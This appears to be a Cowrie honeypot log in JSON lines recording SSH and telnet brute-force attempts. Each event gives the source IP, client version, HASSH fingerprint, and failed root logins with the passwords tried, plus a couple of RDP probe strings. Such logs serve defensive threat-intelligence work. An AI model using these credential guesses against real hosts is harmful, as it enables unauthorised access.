{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:19.502127Z","src_ip":"147.45.199.80","session":"cfd25e2afd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katusha","message":"login attempt [root/katusha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:19.803226Z","src_ip":"147.45.199.80","session":"cfd25e2afd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:20.915076Z","src_ip":"147.45.199.80","session":"cfd25e2afd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50985,"dst_ip":"10.17.0.5","dst_port":22,"session":"b82e4308d806","protocol":"ssh","message":"New connection: 152.42.212.128:50985 (10.17.0.5:22) [session: b82e4308d806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:21.190091Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:21.194278Z","src_ip":"152.42.212.128","session":"b82e4308d806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:21.197686Z","src_ip":"152.42.212.128","session":"b82e4308d806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":46932,"dst_ip":"159.203.135.109","dst_port":22,"session":"615464729b95","protocol":"ssh","message":"New connection: 147.45.211.215:46932 (159.203.135.109:22) [session: 615464729b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:26.607767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:26.612776Z","src_ip":"147.45.211.215","session":"615464729b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:26.780434Z","src_ip":"147.45.211.215","session":"615464729b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexey","message":"login attempt [root/alexey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:27.301226Z","src_ip":"147.45.211.215","session":"615464729b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:28.471836Z","src_ip":"147.45.211.215","session":"615464729b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":56380,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c1b08fc08e","protocol":"ssh","message":"New connection: 43.130.57.37:56380 (10.17.0.5:22) [session: 05c1b08fc08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:40.709130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:40.713150Z","src_ip":"43.130.57.37","session":"05c1b08fc08e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:40.781896Z","src_ip":"43.130.57.37","session":"05c1b08fc08e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2020","message":"login attempt [root/k0n1g@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:41.089266Z","src_ip":"43.130.57.37","session":"05c1b08fc08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.631001710891724,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:41.685043Z","src_ip":"192.119.13.58","session":"75e479421b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:42.159972Z","src_ip":"43.130.57.37","session":"05c1b08fc08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42232,"dst_ip":"10.17.0.5","dst_port":22,"session":"370eeaf770cd","protocol":"ssh","message":"New connection: 77.94.47.83:42232 (10.17.0.5:22) [session: 370eeaf770cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:55.710543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:55.715702Z","src_ip":"77.94.47.83","session":"370eeaf770cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:55.845206Z","src_ip":"77.94.47.83","session":"370eeaf770cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963369","message":"login attempt [root/963369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:56.229886Z","src_ip":"77.94.47.83","session":"370eeaf770cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:57.360518Z","src_ip":"77.94.47.83","session":"370eeaf770cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":36930,"dst_ip":"10.17.0.5","dst_port":22,"session":"11388edd2d8c","protocol":"ssh","message":"New connection: 43.228.112.254:36930 (10.17.0.5:22) [session: 11388edd2d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:23.004246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:23.009196Z","src_ip":"43.228.112.254","session":"11388edd2d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:23.233892Z","src_ip":"43.228.112.254","session":"11388edd2d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:24.168754Z","src_ip":"43.228.112.254","session":"11388edd2d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:25.397423Z","src_ip":"43.228.112.254","session":"11388edd2d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56321,"dst_ip":"159.203.135.109","dst_port":22,"session":"7659e28d602a","protocol":"ssh","message":"New connection: 167.172.81.52:56321 (159.203.135.109:22) [session: 7659e28d602a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:39.768191Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:39.773355Z","src_ip":"167.172.81.52","session":"7659e28d602a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:39.776340Z","src_ip":"167.172.81.52","session":"7659e28d602a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":49820,"dst_ip":"10.17.0.5","dst_port":22,"session":"21ce2157b2ba","protocol":"ssh","message":"New connection: 103.75.183.219:49820 (10.17.0.5:22) [session: 21ce2157b2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:40.498590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:40.503039Z","src_ip":"103.75.183.219","session":"21ce2157b2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:40.747667Z","src_ip":"103.75.183.219","session":"21ce2157b2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vampire","message":"login attempt [root/vampire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:41.481028Z","src_ip":"103.75.183.219","session":"21ce2157b2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:42.727907Z","src_ip":"103.75.183.219","session":"21ce2157b2ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":47474,"dst_ip":"10.17.0.5","dst_port":22,"session":"f09a457b5c3b","protocol":"ssh","message":"New connection: 43.130.57.37:47474 (10.17.0.5:22) [session: f09a457b5c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:51.153537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:51.157894Z","src_ip":"43.130.57.37","session":"f09a457b5c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:51.226481Z","src_ip":"43.130.57.37","session":"f09a457b5c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver123","message":"login attempt [root/arkserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:51.533767Z","src_ip":"43.130.57.37","session":"f09a457b5c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:36:52.605373Z","src_ip":"43.130.57.37","session":"f09a457b5c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41472,"dst_ip":"10.17.0.5","dst_port":23,"session":"327b9dde7f45","protocol":"telnet","message":"New connection: 192.119.13.58:41472 (10.17.0.5:23) [session: 327b9dde7f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:27.835159Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":37862,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae5800dc345f","protocol":"ssh","message":"New connection: 43.228.112.254:37862 (10.17.0.5:22) [session: ae5800dc345f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:41.267514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:41.272603Z","src_ip":"43.228.112.254","session":"ae5800dc345f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:41.491973Z","src_ip":"43.228.112.254","session":"ae5800dc345f","protocol":"ssh"}
